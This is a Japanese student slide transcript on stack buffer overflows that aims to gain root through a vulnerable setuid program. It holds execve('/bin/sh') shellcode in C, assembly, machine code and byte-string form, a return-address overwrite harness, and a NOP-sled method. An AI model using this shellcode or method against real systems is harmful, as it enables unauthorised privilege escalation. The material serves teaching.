セキュリティ(3) 05A2013 大川内 斉.

Slides:



Advertisements
Similar presentations
プログラミングとは Q.プログラムとは何か? A.コンピュータを制御するための,コンピュータに対する命令(指示)の集まり.
Advertisements

アルゴリズムとデータ構造 第2回 線形リスト(復習).
プログラミング演習II 2004年11月 30日(第6回) 理学部数学科・木村巌.
ファイルキャッシュを考慮したディスク監視のオフロード
セキュリティ機構のオフロードを考慮した仮想マシンへの動的メモリ割当
情報処理演習C2 ファイル操作について (2).
システムプログラミング 第5回 情報工学科 篠埜 功 ヒアドキュメント レポート課題 main関数の引数 usageメッセージ
システムプログラミング 第11回 シグナル 情報工学科  篠埜 功.
OSとコマンド OS:コンピュータを使うための基本プログラム コマンド:OS上で使用できる命令 OS本体であるカーネルの内部コマンド
12: コマンドライン引数 C プログラミング入門 総機1 (月1) Linux にログインし、以下の講義ページ を開いておくこと
プログラミングとは Q.プログラムとは何か? A.コンピュータを制御するための,コンピュータに対する命令(指示)の集まり.
ソフトウェアを美味しく 解析する方法 Security Ark
侵入検知システム(IDS) 停止 IDS サーバへの不正アクセスが増加している
12: コマンドライン引数 C プログラミング入門 基幹7 (水5) Linux にログインし、以下の講義ページ を開いておくこと
第8回 プログラミングⅡ 第8回
  【事例演習6】  数式インタプリタ      解 説     “インタプリタの基本的な仕組み”.
プログラムはなぜ動くのか.
プログラミング演習Ⅰ 課題2 10進数と2進数 2回目.
アスペクト指向プログラミングを用いたIDSオフロード
ホストのセキュリティ 情報工学専攻 1年 赤木里騎 P151~172.
情報工学科 3年生対象 専門科目 システムプログラミング 第5回、第6回 ヒアドキュメント レポート課題 情報工学科 篠埜 功.
セキュリティ(5) 05A2013 大川内 斉.
型付きアセンブリ言語を用いた安全なカーネル拡張
卒業論文に向けて(5) 学部4年生 島本 大輔 2004年12月14日.
プログラミング論 関数ポインタ と 応用(qsort)
言語プロセッサ2007 平成19年9月26日(水) (Ver.2 平成19年10月3日変更)
セキュリティ(6) 05A2013 大川内 斉.
アルゴリズムとデータ構造1 2006年6月16日
プログラミング言語入門.
画像処理プログラムの説明.
セキュリティ(2) 05A2013 大川内 斉.
第7回 プログラミングⅡ 第7回
プログラミング言語論 第五回 理工学部 情報システム工学科 新田直也.
アルゴリズムとデータ構造 補足資料5-1 「メモリとポインタ」
地域情報学 C言語プログラミング 第5回 ポインタ、関数、ファイル入出力 2017年11月17日
A Provably Sound TAL for Back-end Optimization について
全体ミーティング 6月6日 島本 大輔(M2) 2006年6月6日(火).
P n ポインタの基礎 5 q m 5 7 int* p; int 型の変数を指すポインタ int* q; int 型の変数を指すポインタ int n=5, m=7; int 型の変数 int array[3]; int* pArray[3]; p = &n; ポインタにアドレスを代入しているのでOK.
コンパイラ資料 実行時環境.
Intel SGXを用いた仮想マシンの 安全な監視機構
C言語を用いたマシン非依存な JITコンパイラ作成フレームワーク
オブジェクト指向プログラミングと開発環境
配列変数とポインタ 静的確保と動的確保 ポインタ配列 2次元配列 時間計測 第1回レポートの課題
オブジェクト指向言語論 第六回 知能情報学部 新田直也.
プログラミング言語論 第六回 理工学部 情報システム工学科 新田直也.
15.1 文字列処理の基本 15.2 文字列処理用ライブラリ関数
IDSとFirewallの連携によるネットワーク構築
11: 動的メモリ確保 C プログラミング入門 総機1 (月1) Linux にログインし、以下の講義ページ を開いておくこと
文字列へのポインタの配列 static char *lines[MAXLINES]; lines[0] NULL
2013年度 プログラミングⅠ ~ 内部構造と動作の仕組み(2) ~.
ポインタとポインタを用いた関数定義.
計算機プログラミングI 木曜日 1時限・5時限 担当: 増原英彦 第1回 2002年10月10日(木)
コンピュータアーキテクチャ 第 5 回.
12: コマンドライン引数 C プログラミング入門 基幹7 (水5) Linux にログインし、以下の講義ページを開いておく こと
アルゴリズムとデータ構造1 2009年6月15日
コンピュータアーキテクチャ 第 4 回.
ネットワーク・プログラミング デバイスドライバと環境変数.
ネットワーク・プログラミング Cプログラミングの基礎.
オブジェクト指向言語論 第五回 知能情報学部 新田直也.
pf-6. スタック (Python プログラミング基礎を演習で学ぶシリーズ)
情報処理Ⅱ 2006年11月24日(金).
コンピュータアーキテクチャ 第 5 回.
Visual Studio 2013 の起動と プロジェクトの新規作成 (C プログラミング演習,Visual Studio 2019 対応) 金子邦彦.
アルゴリズムとデータ構造 2010年6月17日
11: 動的メモリ確保 C プログラミング入門 基幹2 (月4) Linux にログインし、以下の講義ページ を開いておくこと
Cp-1. Microsoft Visual Studio 2019 C++ の使い方 (C プログラミング演習,Visual Studio 2019 対応) 金子邦彦.
情報処理Ⅱ 2005年11月25日(金).
情報処理Ⅱ 小テスト 2005年2月1日(火).
C#プログラミング実習 第1回.
12: コマンドライン引数 C プログラミング入門 基幹2 (月4) Linux にログインし、以下の講義ページ を開いておくこと
Presentation transcript:

セキュリティ(3) 05A2013 大川内 斉

今回の内容 前回、説明不足な内容に終わったバッファオーバーフローについて具体的に行った 不正なプログラムの実行 偽のアドレスで書き換える test() {   ・・・ } int main() char str[3]; char str2[3]; scanf(“%s”,&str); ”AAAAA・・・ test(); ・・・ 不正なプログラムの実行 偽のアドレスで書き換える main()への戻り値アドレス Str2   AAAA Str AAA バッファオーバーフロー

開発環境 knoppix(Linux)

前回の質問  1.コンパイラはバッファオーバーフローを                    どの程度防げるか?  2.セキュリティホールが多いOSはどれか?

コンパイラはバッファオーバーフローをどの程度防げるか? 配列領域のチェック 関数リターンアドレスの書き換え検出(オプション) コンパイラでもある程度は防止できるが、メモリ保護機能を持つOSやCPU、デバッグツールなどを用いることにより危険性は減少する

セキュリティホールが多いOSは? ・WindowsがOSの中で脆弱性の数が最も少ないが、深刻な脆弱性の数は最も多い Linux MacOS X 深刻な脆弱性の数の多い順

今回の目的 セキュリティホールがあり、setuid(ルート権限)が有効であるプログラムに対して不正な攻撃を行いルート権限を奪う

一般ユーザとルート ルート(ルートユーザ) 何の制約も受けない、システムの管理者でありすべての権限を持つ 一般ユーザ  何の制約も受けない、システムの管理者でありすべての権限を持つ 一般ユーザ  ある程度、アクセスが限られており、Linuxでは通常この一般ユーザアカウントで作業する setuid  実行中のユーザーではなく、一時的に別のユーザに変更できる機能

シェル OSの機能の一つで、Linuxではコマンドにより、様々な処理ができるが、シェルはユーザからコマンドを受けてプログラムの起動や制御を行う ls、pwd、cpなどがある  今回、行う攻撃にはshというシェルスクリプトを用いる

スタック メモリの使い方を表す概念のこと   push命令(データを入れる命令)を実行 push $1 → push $2 → push $ 3   スタックはアドレスの高位~低位に向かって伸びていく pop命令(データを取り出す命令)を一回実行すると・・・  → もっとも低位のアドレスからデータが取り出される   ・ 最後にpushしたデータが最初にpopされることになる 03 02 01 000027 000028 000029 アドレス 02 01 000027 000028 000029 アドレス

実験例1 int main(int argc, char *argv[1]) { char *data[2]; char *exe = "/bin/sh"; data[0] = exe; data[1] = NULL; execve(data[0],data,NULL); } このプログラムを アセンブリ言語→マシン語  と変換し、不正なコードを 作成する シェルスクリプトを実行できている

アセンブリ言語とマシン語 アセンブリ言語 人間にわかりやすい形で機械語を記述する代表的な言語 マシン語(機械語) アセンブリ言語とマシン語  アセンブリ言語  人間にわかりやすい形で機械語を記述する代表的な言語 マシン語(機械語)  CPUが直接理解し実行できるプログラミング言語で、どのプログラミング言語も最終的に  このマシン語に翻訳され実行される

call文を実行すると、その次に実行すべきアドレス(戻りアドレス)をスタックに格納 アセンブリ言語の作成 .globl main main: jmp L2 L1: popl %esi movl %esi, 0x8(%esi) xorl %eax, %eax movb %al, 0x7(%esi) movl %eax, 0xc(%esi)   movb $0xb, %al movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 L2: call L1 .string "/bin/sh" eax ebx 11 /bin/sh ecx edx 配列のアドレス NULL  char *data[2]; char *exe = "/bin/sh"; data[0] = exe; data[1] = NULL; execve(data[0],data,NULL); call文を実行すると、その次に実行すべきアドレス(戻りアドレス)をスタックに格納

マシン語(機械語)の作成 08048354 <main>: 8048354: eb 18 jmp 804836e <L2> 08048356 <L1>: 8048356: 5e pop %esi 8048357: 89 76 08 mov %esi,0x8(%esi) 804835a: 31 c0 xor %eax,%eax 804835c: 88 46 07 mov %al,0x7(%esi) 804835f: 89 46 0c mov %eax,0xc(%esi) 8048362: b0 0b mov $0xb,%al 8048364: 89 f3 mov %esi,%ebx 8048366: 8d 4e 08 lea 0x8(%esi),%ecx 8048369: 8d 56 0c lea 0xc(%esi),%edx 804836c: cd 80 int $0x80 0804836e <L2>: 804836e: e8 e3 ff ff ff call 8048356 <L1>

実験例2 unsigned char code[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0" "\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int main(void) { int *radr;   //int型のポインタのサイズは4バイト radr = (int *)&radr + 2; (*radr) = (int)code; return 0; } radr ret (戻りアドレス) アドレス 000024 000032

目的を明らかにすると バッファオーバーフローを起こすことにより、 ターゲットプログラムのret(戻りアドレス)を  不正なコードの先頭アドレスに上書きできれば、不正なコードを実行できる

プログラムで行っていること1 1.初めに不正プログラムのスタックポインタspを求めている(spは次にデータが格納されるアドレスを指す) ターゲットプログラムのスタック位置 不正プログラムで宣 言された変数など ret buf sp スタック

プログラムで行っていること2 3.別の領域に確保した配列(A)の全ての領域を先ほど推測したアドレス(X)で埋める 4.Aの前半分をNOP命令(no operation)で埋め、その後、不正なコード(S)を格納する 5.配列Aをターゲットプログラムに渡す   (配列Aはターゲットの配列より大きい) 配列A X X X X X X 配列A N N N S X X

プログラム実行の仕組み ここでは、仮に推測したアドレスがターゲットのbuf配列のアドレスを指しているとする 先頭アドレスを指定しなくても、XがNOPを  指していれば不正なコードは実行される NOPは何も行わない命令でそのまま進み、 不正なコードが実行されることになる ターゲットプログラム のスタック N N N S X X X ここのXはターゲット プログラムのretが 入っていた場所

プログラム実行 不正なコードを実行できていることがわかる

今後の予定 攻撃法の検証と分析 不正侵入検知(IDS)

参考資料 サイト ・Wikipedia http://ja.wikipedia.org/wiki/  ・IPA(情報処理推進機構) http://www.ipa.go.jp/  ・ITpro http://itpro.nikkeibp.co.jp/  ・IT+PLUS http://it.nikkei.co.jp/  ・「アセンブリ言語の教科書」の原稿      http://ruffnex.oc.to/kenji/text/asmbook/  ・バッファオーバーフローの危険性     http://f16.aaa.livedoor.jp/~vwxyz/up/img/004.txt 書籍  ・ハッカーの教科書